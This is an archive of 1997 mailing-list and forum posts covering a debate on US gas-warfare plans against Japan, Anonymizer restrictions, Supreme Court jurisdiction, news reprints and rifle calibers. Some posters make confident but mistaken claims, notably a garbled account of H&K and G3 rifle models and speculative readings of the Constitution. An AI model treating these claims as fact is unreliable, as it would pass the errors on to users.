Trent doesn't mention that the plan called for mass spraying of mustard gas
over urban areas _at the beginning_ of this attack.  That isn't retaliation.
It is extermination.  My estimate of 25-30 million Japanese dead during the
US conquest of Japan was based on such a use of chemical warfare, though
most of the dead, IMO, would have been from starvation and malnutrition-
boosted disease.

Trent's discovery here shows some elements of the US government planned
overt genocide on Japan.  The coverup makes it appear that someone at least
felt guilty about it.  I'd be a lot more comfortable if there was evidence
that these planners were then aware, via SIGINT, of the orders the Imperial
Japanese Army had already given, when the invasion of Japan started, to
murder all Allied POW's, all interned Allied civilians, and every Allied
civilian they could catch in areas occupied by the IJA.

My estimate is that the IJA could have murdered at least several million
Allied civilians a week for months.  The A-bomb, IMO, saved more lives than
were lost in all of WWII.
 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 623       Wed Dec 17, 1997
T.ZBARASCHU1 [Tony]          at 10:28 EST

I believe that the U.S. considered using gas at Iwo Jima, but decided not
to.

Trent, any evidence that this was a seriously considered plan, as opposed to
a staff study that the planners drew up just to see what the necessary
requirements would be?

 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 624       Wed Dec 17, 1997
JOHN.BARNES [John Barnes]    at 11:35 EST

Moving poison gas in those quantities strikes me as reasonably good evidence
that somebody was doing more than playing paper games.
 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 625       Wed Dec 17, 1997
T.TELENKO [MilTech Bard]     at 13:12 EST

  According to Allen and Polmar, the June 18, 1945 meeting where Harry
Truman was briefed on Operation Downfall -- the over all plan to invade
Japan -- by Adm King, Gen Marshall and the rest of the Joint Chiefs was
probably when the topic was broached.

  We know now that the decision to drop the atomic bomb was made then,
although the notes for the meeting only refered to "undisclosed topics.".

  On 21 June 1945, orders were issued by the Army to produce and ship the
necessary quantities of war gas to the Pacific Theater to impliment the
plan.

  The key passage from that Gas Attack Plan was:

  "Gas is the one single weapon hitherto unused which we can have readily
available which assuredly can greatly decrease the cost in American lives
and should materialy shorten the war."

  I'd say that this meeting decided that the US was unwilling to take the
kind of mass casualties, using Okinawa as a model, that a conventional
landing would cost and any available WMD would be used to reduce American
casualties.


 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 626       Wed Dec 17, 1997
T.HOLSINGER [Tom]            at 21:43 EST

Trent,

Your 625's logic is convincing.  The timing makes it look as though there
was a Presidential decision on June 18 to conduct a strategic gas attack on
Japan in preparation for the invasion, if the A-Bomb didn't work.

This presents a completely different picture than what I had imagined.  I
thought the Japanese would have initiated genocide in the event of invasion.
Instead there is fair evidence that we would have started it.

My recollection is that Imperial Headquarters gave the genocide orders to
Field Marshal Teruachi in July.
 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 627       Wed Dec 17, 1997
T.TELENKO [MilTech Bard]     at 22:39 EST

  The thing that sticks out for me is that Truman's choice was not Invasion
or the A-Bomb.  It was Gas, Invasion and the A-Bomb.

  Any way promised a great deal of dead.

  Truman chose the route that was most likely to shock the Japanese into
surrendering with the least loss of life.  History will judge him
differently in the long term because of the finding of this document.  This
also explains his expressed strong faith in having taken the correct corse
of action.

  Still, we don't know exactly what was said on the subject of gas in that
meeting.  I suspect the full, genocidal, aspects of the gas attack plan
would not have been implimented until Operation Coronet.  That is, after the
Japanese started murdering Allied POW's and interned/occupied civilians.

  Operation Olympic -- the invasion of Kyushu -- would probably have been
limited to gasing the beaches and air fields after a series of raids by the
carrier fleets.  To lay the proper political ground work for the use of gas,
the US Government would have released the newsreels of the Kamikazi attacks
on the US Navy off of Okinawa and Japan.

  The shock that would have delivered to the American public would have
prepared them for the arguement that gas was needed to win.
 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 628       Wed Dec 17, 1997
L.TILTON [Lois]              at 23:18 EST

I wonder if there were not contingency plans for gassing Berlin.  The A-bomb
was originally proposed to be used against Berlin, but it wasn't ready in
time.
 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 629       Wed Dec 17, 1997
JOHN.BARNES [John Barnes]    at 23:26 EST

There was also some hope, in late '43 when things looked like they were
coming together faster than they did, of either using the bomb to create a
no-resistanc e landing area, or using it on a rail center to prevent
reinforcement for D-Day.

I think the biggest hope was really just to get it before Hitler, who, had
the Nazis not been such nitwits, had what looked like overwhelming odds of
getting there first.
 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 630       Thu Dec 18, 1997
T.ZBARASCHU1 [Tony]          at 00:43 EST

Orders to produce and ship that much gas?  OK, I'll accept that as evidence
that this was more than a "staff plan".  OTOH, we did keep a fair amount of
gas on hand in the European theater for retaliatory purposes, but this
particular document does look like it was a bit more than retaliatory.

Thank God for the atom bomb.

Thank God I didn't have to make that decision.

 ------------
SFRT 1 - Reading
Category 22,  Topic 2
Message 631       Thu Dec 18, 1997
T.TELENKO [MilTech Bard]     at 12:48 EST

  The American Army in WW2 carried around huge amounts  of war gas as a
matter of course.  In Early 1943, MacArther had at his disposal in the South
West Pacific area the following:

 o 15,000 gas Howitzer shells
 o 19,000 gas mortar shells
 o 22,500 five inch rocket shells
 o 18,000 aerial bombs of various sizes
 o 6,500 aerial spray tank kits.

  By the end of 1945, the US had 4.4 million gas artillery shells, 1 million
mortar rounds, 1.25 million gas aerial bombs and 112,000 aerial spray tank
kits.

  What counts is policy and the intent to follow it.

  The article mentions that Gen Marshall brought up the use of gas in a 29
May 1945 meeting with War Sec. Stimpson.  He wanted to use gas against the
"outer japanese islands" with less than our best war gas (Mustard gas) to
"take the fight out of" the Japanese soldier and reduce American casualties.

  He then commissioned a the study I have been quoting using chemical
warfare officers and USAAF targetiers -- one Col and three Capt. -- who
introduced the major strategic gassing angle.  I got the impression that
they wanted to use their toy to the fullest, rather than smooth the invasion
via reduced American casualties.

  I suspect my idea of military gassing only -- landing beaches and
airfields -- during Operation Olympic was the most likely policy result.

  After the Japanese Army went on its killing spree, all bets are off.
 ------------











From dlv at bwalk.dm.com  Sun Dec 28 16:26:45 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 29 Dec 1997 08:26:45 +0800
Subject: The Anonymizer and IRC
In-Reply-To: <199712281825.TAA04672@basement.replay.com>
Message-ID: 



nobody at REPLAY.COM (Anonymous) writes:

> The Anonymizer does in fact only provide restricted access by http and NO
> IRC.
> For instance, the Anonymizer blocks Dejanews, Hotmail and mailto.cgi forms.
> I could understand that they block sites that explicitly request to be
> blocked to prevent abuse.
> But what if I want to make a mailto.cgi or IRC script available by http.
> Should people be disallowed from accessing this through The Anonymizer
> even if I do not request it?
> It should at least be possible to allow access to such scripts for The
> paid accounts.
> If they keep logs in case of a U. S. law violation, I see no problem of
> liability arosing from such access.
> They have also restricted their shell access for which you pay US $ 7 per
> moth to IRC.
> Does that sound more reasonable than blocking the nntp port?
> Does anyone know other ISPs who provide privacy and do not block
> abitrarily without _prior request_ from the site in question?

I think it's been pretty well established on this mailing list than
Lance Cottrell is no friend of privacy and free speech.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From ravage at ssz.com  Sun Dec 28 18:51:10 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 29 Dec 1997 10:51:10 +0800
Subject: Let's get the US Gov. to give us guns!...
Message-ID: <199712290309.VAA02312@einstein.ssz.com>



			THE CONSTITUTION OF THE 
			     UNITED STATES 
  
 
Section 8.  The Congress shall have Power

	To provide for calling forth the Militia to execute the Laws of 
the Union, suppress Insurrections and repel Invasions; 
	To provide for organizing, arming, and disciplining the Militia, 
and for governing such Part of them as may be employed in the Service of 
the United States, reserving to the States respectively, the Appointment 
of the Officers, and the authority of training and Militia according to 
the discipline prescribed by Congress; 



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From jya at pipeline.com  Sun Dec 28 19:18:40 1997
From: jya at pipeline.com (John Young)
Date: Mon, 29 Dec 1997 11:18:40 +0800
Subject: Basic Cryptanalysis
Message-ID: <1.5.4.32.19971229030743.006efc20@pop.pipeline.com>



Recently it was noted here that US Army Field Manual
34-40-2, Basic Cryptanalysis, (1990) has been withdrawn
from the Army's Web site.

Thanks to archiving by a cpunk we offer the full manual 
in PDF format. See the contents at:

   http://jya.com/fm/fm34-40-2.htm







From ravage at ssz.com  Sun Dec 28 19:30:42 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 29 Dec 1997 11:30:42 +0800
Subject: Sue Congress?...
Message-ID: <199712290349.VAA02437@einstein.ssz.com>




Section 4.  The President, Vice President and all civil Officers of the 
United States, shall be removed from Office on Impeachment for, and 
Conviction of, Treason, Bribery, or other high Crimes and Misdemeanors. 

[Clearly congressmen are responsible for their actions while in office since
they are civil officers. It looks like all it should take to remove a civil
officer is a misdemeanor such as speeding.]
 
Section 2.  The judicial Power shall extend to all Cases, in Law and Equity, 
arising under this Constitution, the Laws of the United States, and Treaties 
made, or which shall be made, under their Authority; -- to all Cases affecting 
Ambassadors, other public Ministers and Consuls; -- to all Cases of admiralty 
and maritime Jurisdiction; -- to Controversies between two or more States; -- 
between a State and Citizens of another State; -- between Citizens of 
different States; -- between Citizens of the same State claiming Lands under 
Grants of different States; -- and between a State, or the Citizens thereof, 
and foreign States, Citizens or Subjects. 

[Note that there is no federal jurisdiction for sueing your own
representatives at the federal level since they are citizens of your own
state, however you *can* sue the representatives of the *other* 49 states
for their actions and that *is* a federal level case]

	In all Cases, affecting Ambassadors, other public Ministers and 
Consuls, and those in which a State shall be Party, the supreme Court shall 
have original Jurisdiction.  In all other Cases before mentioned, the supreme 
Court shall have appellate Jurisdiction, both as to Law and Fact, with such 
Exceptions, and under such Regulations as the Congress shall make. 

[Clearly any such claims *must* be at the level of the Supreme Court since
they hold original jurisdiction, further there doesn't seem to be any
mechanism they can refuse to handle the case]

	The Trial of all Crimes, except in Cases of Impeachment, shall be 
by Jury; and such Trial shall be held in the State where the said Crimes 
shall have been committed; but when not committed within any State, the Trial 
shall be at such Place or Places as the Congress may by Law have directed. 

[Since the breaking of the oath to uphold the Constitution while a
representative is a impeachable offence no jury is required. Once the case
is before the Supreme Court then the Congress is required to set the time
and date]

The question of the day is:

How does one go about submitting a case directly to the Supreme Court? The
Constitution apparently leaves this up to the Supreme Court to decide in its
rules of operation.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Sun Dec 28 20:05:57 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 29 Dec 1997 12:05:57 +0800
Subject: Sue Congress?... (fwd)
Message-ID: <199712290425.WAA00157@einstein.ssz.com>



Forwarded message:

> Date: Sun, 28 Dec 1997 23:54:15 -0500
> From: David Miller 
> Subject: Re: Sue Congress?...

> > The question of the day is:
> > 
> > How does one go about submitting a case directly to the Supreme Court? The
> > Constitution apparently leaves this up to the Supreme Court to decide in its
> > rules of operation.
> 
> In large part, yes.  It is up to the Court's sole discretion whether or
> not they
> will hear a case.  I believe that all cases they hear are appeals.  I'm
> pretty
> sure you can't just go to the Supreme Court, but must follow due
> process...

The quotes from the Constitution, which you apparently didn't read, clearly
indicate that the role of the Supreme Court is more than a simple appeals
court. Further, while they may refuse to hear appeals, hence confirming the
lower courts ruling with a supreme stamp of approval, there is *nothing* in
the Constitution and hence their rules that allows them to refuse to accept
cases where they are the only Constitutional jurisdiction, such as
impeachment proceedings of Congressmen relating to un-constitutional actions
that may result in their impeachment.

Once the case is submitted to the Supreme Court then Congress, not the SC,
chooses the place and time.



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Sun Dec 28 20:27:09 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 29 Dec 1997 12:27:09 +0800
Subject: 17.html
Message-ID: <199712290447.WAA00223@einstein.ssz.com>



      SUPREME COURT OF THE U.S. - RULES
      ..Part IV. Other Jurisdiction
      
   
     _________________________________________________________________
   
    Rule 17. Procedure in an Original Action
    
     * 1. This Rule applies only to an action invoking the Court's
       original jurisdiction under Article III of the Constitution of the
       United States. See also 28 U. S. C. �1251 and U. S. Const., Amdt.
       11. A petition for an extraordinary writ in aid of the Court's
       appellate jurisdiction shall be filed as provided in Rule 20.
     * 2. The form of pleadings and motions prescribed by the Federal
       Rules of Civil Procedure is followed. In other respects, those
       Rules and the Federal Rules of Evidence may be taken as guides.
     * 3. The initial pleading shall be preceded by a motion for leave to
       file, and may be accompanied by a brief in support of the motion.
       Forty copies of each document shall be filed, with proof of
       service. Service shall be as required by Rule 29, except that when
       an adverse party is a State, service shall be made on both the
       Governor and the Attorney General of that State.
     * 4. The case will be placed on the docket when the motion for leave
       to file and the initial pleading are filed with the Clerk. The
       Rule 38(a) docket fee shall be paid at that time.
     * 5. No more than 60 days after receiving the motion for leave to
       file and the initial pleading, an adverse party shall file 40
       copies of any brief in opposition to the motion, with proof of
       service as required by Rule 29. The Clerk will distribute the
       filed documents to the Court for its consideration upon receiving
       an express waiver of the right to file a brief in opposition, or,
       if no waiver or brief is filed, upon the expiration of the time
       allowed for filing. If a brief in opposition is timely filed, the
       Clerk will distribute the filed documents to the Court for its
       consideration no less than 10 days after the brief in opposition
       is filed. A reply brief may be filed, but consideration of the
       case will not be deferred pending its receipt. The Court
       thereafter may grant or deny the motion, set it for oral argument,
       direct that additional documents be filed, or require that other
       proceedings be conducted.
     * 6. A summons issued out of this Court shall be served on the
       defendant 60 days before the return day specified therein. If the
       defendant does not respond by the return day, the plaintiff may
       proceed ex parte.
     * 7. Process against a State issued out of this Court shall be
       served on both the Governor and the Attorney General of that
       State.
       
   
     _________________________________________________________________
   
   
   
   [Previous Section -] [Next Section +] 
   [Overview] 
     _________________________________________________________________






From ravage at ssz.com  Sun Dec 28 20:30:52 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 29 Dec 1997 12:30:52 +0800
Subject: constitution.articleiii.html
Message-ID: <199712290451.WAA00266@einstein.ssz.com>



   
   
    Article III
    
   
   
   
   
   Section 1. The judicial power of the United States, shall be vested in
   one Supreme Court, and in such inferior courts as the Congress may
   from time to time ordain and establish. The judges, both of the
   supreme and inferior courts, shall hold their offices during good
   behaviour, and shall, at stated times, receive for their services, a
   compensation, which shall not be diminished during their continuance
   in office.
   
   
   
   Section 2. The judicial power shall extend to all cases, in law and
   equity, arising under this Constitution, the laws of the United
   States, and treaties made, or which shall be made, under their
   authority;--to all cases affecting ambassadors, other public ministers
   and consuls;--to all cases of admiralty and maritime jurisdiction;--to
   controversies to which the United States shall be a party;--to
   controversies between two or more states;--between a state and
   citizens of another state;--between citizens of different
   states;--between citizens of the same state claiming lands under
   grants of different states, and between a state, or the citizens
   thereof, and foreign states, citizens or subjects.
   
   
   
   In all cases affecting ambassadors, other public ministers and
   consuls, and those in which a state shall be party, the Supreme Court
   shall have original jurisdiction. In all the other cases before
   mentioned, the Supreme Court shall have appellate jurisdiction, both
   as to law and fact, with such exceptions, and under such regulations
   as the Congress shall make.
   
   
   
   The trial of all crimes, except in cases of impeachment, shall be by
   jury; and such trial shall be held in the state where the said crimes
   shall have been committed; but when not committed within any state,
   the trial shall be at such place or places as the Congress may by law
   have directed.
   
   
   
   Section 3. Treason against the United States, shall consist only in
   levying war against them, or in adhering to their enemies, giving them
   aid and comfort. No person shall be convicted of treason unless on the
   testimony of two witnesses to the same overt act, or on confession in
   open court.
   
   
   
   The Congress shall have power to declare the punishment of treason,
   but no attainder of treason shall work corruption of blood, or
   forfeiture except during the life of the person attainted.
   
   ==========================================================
     * Next Article--Previous Article
     * Table of Articles and Amendments
     * Overview of Full Constitution
       
   ==========================================================






From ravage at ssz.com  Sun Dec 28 20:31:10 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 29 Dec 1997 12:31:10 +0800
Subject: constitution.amendmentxi.html
Message-ID: <199712290452.WAA00288@einstein.ssz.com>



    Amendment XI
    
   
   
   
   
   The judicial power of the United States shall not be construed to
   extend to any suit in law or equity, commenced or prosecuted against
   one of the United States by citizens of another state, or by citizens
   or subjects of any foreign state.
   
   ==========================================================
     * Next Amendment--Previous Amendment
     * Table of Articles and Amendments
     * Overview of Full Constitution
       
   ==========================================================






From ravage at ssz.com  Sun Dec 28 20:32:56 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 29 Dec 1997 12:32:56 +0800
Subject: 1251.html
Message-ID: <199712290452.WAA00329@einstein.ssz.com>



    � 1251. Original jurisdiction
     * (a) The Supreme Court shall have original and exclusive
       jurisdiction of all controversies between two or more States.
     * (b) The Supreme Court shall have original but not exclusive
       jurisdiction of:
          + (1) All actions or proceedings to which ambassadors, other
            public ministers, consuls, or vice consuls of foreign states
            are parties;
          + (2) All controversies between the United States and a State;
          + (3) All actions or proceedings by a State against the
            citizens of another State or against aliens.






From ravage at ssz.com  Sun Dec 28 20:40:18 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 29 Dec 1997 12:40:18 +0800
Subject: 29.html
Message-ID: <199712290457.WAA00396@einstein.ssz.com>



      SUPREME COURT OF THE U.S. - RULES
      ..Part VII. Practice and Procedure
      
   
     _________________________________________________________________
   
    Rule 29. Filing and Service of Documents; Special Notifications; Corporate
    Listing
    
     * 1. Any document required or permitted to be presented to the Court
       or to a Justice shall be filed with the Clerk.
     * 2. A document is timely filed if it is sent to the Clerk through
       the United States Postal Service by first-class mail (including
       express or priority mail), postage prepaid, and bears a postmark
       showing that the document was mailed on or before the last day for
       filing. Commercial postage meter labels alone are not acceptable.
       If submitted by an inmate confined in an institution, a document
       is timely filed if it is deposited in the institution's internal
       mail system on or before the last day for filing and is
       accompanied by a notarized statement or declaration in compliance
       with 28 U. S. C. �1746 setting out the date of deposit and stating
       that first-class postage has been prepaid. If the postmark is
       missing or not legible, the Clerk will require the person who
       mailed the document to submit a notarized statement or declaration
       in compliance with 28 U. S. C. �1746 setting out the details of
       the mailing and stating that the mailing took place on a
       particular date within the permitted time. A document also is
       timely filed if it is forwarded through a private delivery or
       courier service and is actually received by the Clerk within the
       time permitted for filing.
     * 3. Any document required by these Rules to be served may be served
       personally or by mail on each party to the proceeding at or before
       the time of filing. If the document has been prepared as required
       by Rule 33.1, three copies shall be served on each other party
       separately represented in the proceeding. If the document has been
       prepared as required by Rule 33.2, service of a single copy on
       each other separately represented party suffices. If personal
       service is made, it shall consist of delivery at the office of the
       counsel of record, either to counsel or to an employee therein. If
       service is by mail, it shall consist of depositing the document
       with the United States Postal Service, with no less than
       first-class postage prepaid, addressed to counsel of record at the
       proper post office address. When a party is not represented by
       counsel, service shall be made on the party, personally or by
       mail.
     * 4. (a) If the United States or any federal department, office,
       agency, officer, or employee is a party to be served, service
       shall be made on the Solicitor General of the United States, Room
       5614, Department of Justice, 10th St. and Constitution Ave., N.
       W., Washington, DC 20530. When an agency of the United States that
       is a party is authorized by law to appear before this Court on its
       own behalf, or when an officer or employee of the United States is
       a party, the agency, officer, or employee shall be served in
       addition to the Solicitor General.
          + (b) In any proceeding in this Court in which the
            constitutionality of an Act of Congress is drawn into
            question, and neither the United States nor any federal
            department, office, agency, officer, or employee is a party,
            the initial document filed in this Court shall recite that 28
            U. S. C. �2403(a) may apply and shall be served on the
            Solicitor General of the United States, Room 5614, Department
            of Justice, 10th St. and Constitution Ave., N. W.,
            Washington, DC 20530. In such a proceeding from any court of
            the United States, as defined by 28 U. S. C. �451, the
            initial document also shall state whether that court,
            pursuant to 28 U. S. C. �2403(a), certified to the Attorney
            General the fact that the constitutionality of an Act of
            Congress was drawn into question. See Rule 14.1(e)(v).
          + (c) In any proceeding in this Court in which the
            constitutionality of any statute of a State is drawn into
            question, and neither the State nor any agency, officer, or
            employee thereof is a party, the initial document filed in
            this Court shall recite that 28 U. S. C. �2403(b) may apply
            and shall be served on the Attorney General of that State. In
            such a proceeding from any court of the United States, as
            defined by 28 U. S. C. �451, the initial document also shall
            state whether that court, pursuant to 28 U. S. C. �2403(b),
            certified to the State Attorney General the fact that the
            constitutionality of a statute of that State was drawn into
            question. See Rule 14.1(e)(v).
     * 5. Proof of service, when required by these Rules, shall accompany
       the document when it is presented to the Clerk for filing and
       shall be separate from it. Proof of service shall contain, or be
       accompanied by, a statement that all parties required to be served
       have been served, together with a list of the names, addresses,
       and telephone numbers of counsel indicating the name of the party
       or parties each counsel represents. It is not necessary that
       service on each party required to be served be made in the same
       manner or evidenced by the same proof. Proof of service may
       consist of any one of the following:
          + (a) an acknowledgment of service, signed by counsel of record
            for the party served;
          + (b) a certificate of service, reciting the facts and
            circumstances of service in compliance with the appropriate
            paragraph or paragraphs of this Rule, and signed by a member
            of the Bar of this Court representing the party on whose
            behalf service is made or by an attorney appointed to
            represent that party under the Criminal Justice Act of 1964,
            see 18 U. S. C. �3006A(d)(6), or under any other applicable
            federal statute; or
          + (c) a notarized affidavit or declaration in compliance with
            28 U. S. C. �1746, reciting the facts and circumstances of
            service in accordance with the appropriate paragraph or
            paragraphs of this Rule, whenever service is made by any
            person not a member of the Bar of this Court and not an
            attorney appointed to represent a party under the Criminal
            Justice Act of 1964, see 18 U. S. C. �3006A(d)(6), or under
            any other applicable federal statute.
     * 6. Every document, except a joint appendix or amicus curiae brief,
       filed by or on behalf of one or more corporations shall list all
       parent companies and nonwholly owned subsidiaries of each of the
       corporate filers. If there is no parent or subsidiary company to
       be listed, a notation to this effect shall be included in the
       document. If a list has been included in a document filed earlier
       in the case, reference may be made to the earlier document (except
       when the earlier list appeared in an application for an extension
       of time or for a stay), and only amendments to the list to make it
       current need be included in the document being filed.
       
   
     _________________________________________________________________
   
   
   
   [Previous Section -] [Next Section +] 
   [Overview] 
     _________________________________________________________________






From ravage at ssz.com  Sun Dec 28 20:45:38 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 29 Dec 1997 12:45:38 +0800
Subject: constitution.amendmentxi.html (fwd)
Message-ID: <199712290504.XAA00440@einstein.ssz.com>



Forwarded message:

>     Amendment XI
>     
>    The judicial power of the United States shall not be construed to
>    extend to any suit in law or equity, commenced or prosecuted against
>    one of the United States by citizens of another state, or by citizens
>    or subjects of any foreign state.

Of note is that this amendment *only* covers cases where a citizen sues a
*single* state, not 49 of them.

There is no Constitutional rule that covers the process between a individual
and more than a single state. It simply ain't there.



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Sun Dec 28 21:08:29 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 29 Dec 1997 13:08:29 +0800
Subject: http:--allpolitics.com-1997-12-28-clinton.budget-
Message-ID: <199712290527.XAA00510@einstein.ssz.com>



   [IMAGE]
   
   community
   Join a thread, start a thread -- it's your chance to sound off!
   
   Infoseek search 
   __________
   ______  Help
   Navigation
   
                   CLINTON ADVISER: NO MAJOR TAX CUT IN 1998
                                       
   Tax Cut
   
   WASHINGTON (AllPolitics, Dec. 28) -- President Bill Clinton will not
   propose any across-the-board tax cut or push for any major overhaul of
   the tax system in his 1998 budget, a senior White House adviser said
   Sunday.
   
   But speaking on NBC's "Meet The Press," Rahm Emanuel also said that
   Clinton would not necessarily veto any tax cut sent to the White House
   by Congress, provided it didn't bust an existing spending agreement
   that would balance the budget by 2002.
   
   "If others have an approach, we'd love to see it," he said. "(But)
   where are they going to pay for it? Are they talking about cuts in
   health care? Are they talking about cuts in senior programs?"
   
   Some Wall Street analysts have forecast a surplus of as much as $40
   billion in the current fiscal year, which runs through September 30 --
   a surplus that proponents of a tax cut say could be used to pay for
   it. Emanuel
   
   But Emanuel said the White House believes that no decisions about what
   to do with the surplus should be made until a surplus actually
   materializes.
   
   "Washington should not return to its bad habits of spending money it
   doesn't have," he said. "That's what got us into trouble in the first
   place in the 1980s."
   
   In addition to tax cuts, a number of Republicans, including House
   Majority Leader Dick Armey and 1996 presidential candidate Steve
   Forbes, have also proposed so-called "flat tax" plans that would
   radically alter the income tax system. Others want to replace income
   tax entirely with a national sales tax.
   
   Even Democratic House Minority Leader Dick Gephardt has a modified
   "flat tax" plan that would simplify the system and reduce tax rates
   for middle and lower income taxpayers.
   
   But Sunday, Emanuel made it clear the White House wasn't looking to
   make any such radical changes in the tax code in 1998.
   
   "We finally have gotten the deficit under wraps and lifted it off the
   back of the economy," he said. "We shouldn't do anything reckless or
   irresponsible."
   
   However, Clinton will propose new tax credits targeted toward helping
   middle-class families pay for child care, Emanuel said.
   
   Reuters contributed to this report. Advertise on AllPolitics. Click
   here for info. 
   Come see the cures of tomorrow 
   Congressional Quarterly 
   Search the Web with InfoSeek 
   Barnes & Noble book search 
     _________________________________________________________________
   
   home | news | in-depth | analysis | what's new | community | contents
   | search
   
     _________________________________________________________________
   
   Click here for technical help or to send us feedback.
   
   
   Copyright � 1997 AllPolitics All Rights Reserved.
   Terms under which this information is provided to you.






From ravage at ssz.com  Sun Dec 28 21:20:57 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 29 Dec 1997 13:20:57 +0800
Subject: http:--www.cnn.com-US-9712-28-briefs.pm-britain.getty.ap-
Message-ID: <199712290541.XAA00560@einstein.ssz.com>



   CNN logo 
   Navigation 
    COMMUNITY Message Boards
   Chat
   Feedback
   
   SITE SOURCES Contents
   Help!
   Search
   CNN Networks
   
   SPECIALS Quick News
   Almanac
   Video Vault
   News Quiz
   
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   Barnes and Noble 
   
   
   
   
   
   Year In Review Main banner Click here for TIME daily rule
   
                   JOHN PAUL GETTY II NOW A BRITISH CITIZEN
                                       
     December 28, 1997
     Web posted at: 9:58 p.m. EST (0258 GMT)
     
     LONDON (AP) -- American billionaire John Paul Getty II is an
     American no longer.
     
     The London Sunday Telegraph says the philanthropist has become a
     British citizen and revoked his U.S. citizenship. Sources in the
     British government confirm the move.
     
     Getty is 65 and has lived in Britain for 25 years. During that time,
     he's become one of the country's major benefactors. In 1986, he even
     received an honorary knighthood from Queen Elizabeth II.
     
     The Forbes magazine list of the 400 richest Americans estimates
     Getty's fortune at $1 billion.
     
   
     _________________________________________________________________
   
   Infoseek search ____________________ ____  ____
   
     _________________________________________________________________
   
   
   rule Message Boards Sound off on our
   message boards & chat
   
   [INLINE] Click here for TIME daily rule
   To the top 
   
   � 1997 Cable News Network, Inc.
   All Rights Reserved.
   
        Terms under which this service is provided to you.






From ravage at ssz.com  Sun Dec 28 22:48:27 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 29 Dec 1997 14:48:27 +0800
Subject: Guns: H&K, G3, 7.62 v 5.56 [Guns]
Message-ID: <199712290708.BAA00806@einstein.ssz.com>



Hi,

I finaly got around to doing some research on Tim's claim regarding H&K's G3
being a 5.56 round while the various folks I have been talking to refer to
it as a 7.62.

Tim's claim that the 7.62 (.308) is actualy the HK-91/G1 and not the G3 is
correct. The confusion comes from the fact that a few years ago the German
Bundswehr quit using the HK and began using the FN/G3 which is 7.62. I had
assumed the G3 it was refering to was the H&K and when I talked to the local
gun nut he thought I was talking about the current model because I had made
a comment a while back about it being used by the Germans as their standard
infantry model and being .308.

So,

H&K 91/G1 is 7.62 (.308) (old standard issue)
H&K 93/G3 is 5.56 (.223)
FN/G3 is 7.62 (.308) (current standard issue)

My suggested rifle *is* the H&K 91/G1 which is .308 and the local gun shop
says used they run in the $1500 to $3000 range. New ones aren't imported.



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|







From pjm at spe.com  Mon Dec 29 03:59:03 1997
From: pjm at spe.com (Patrick May)
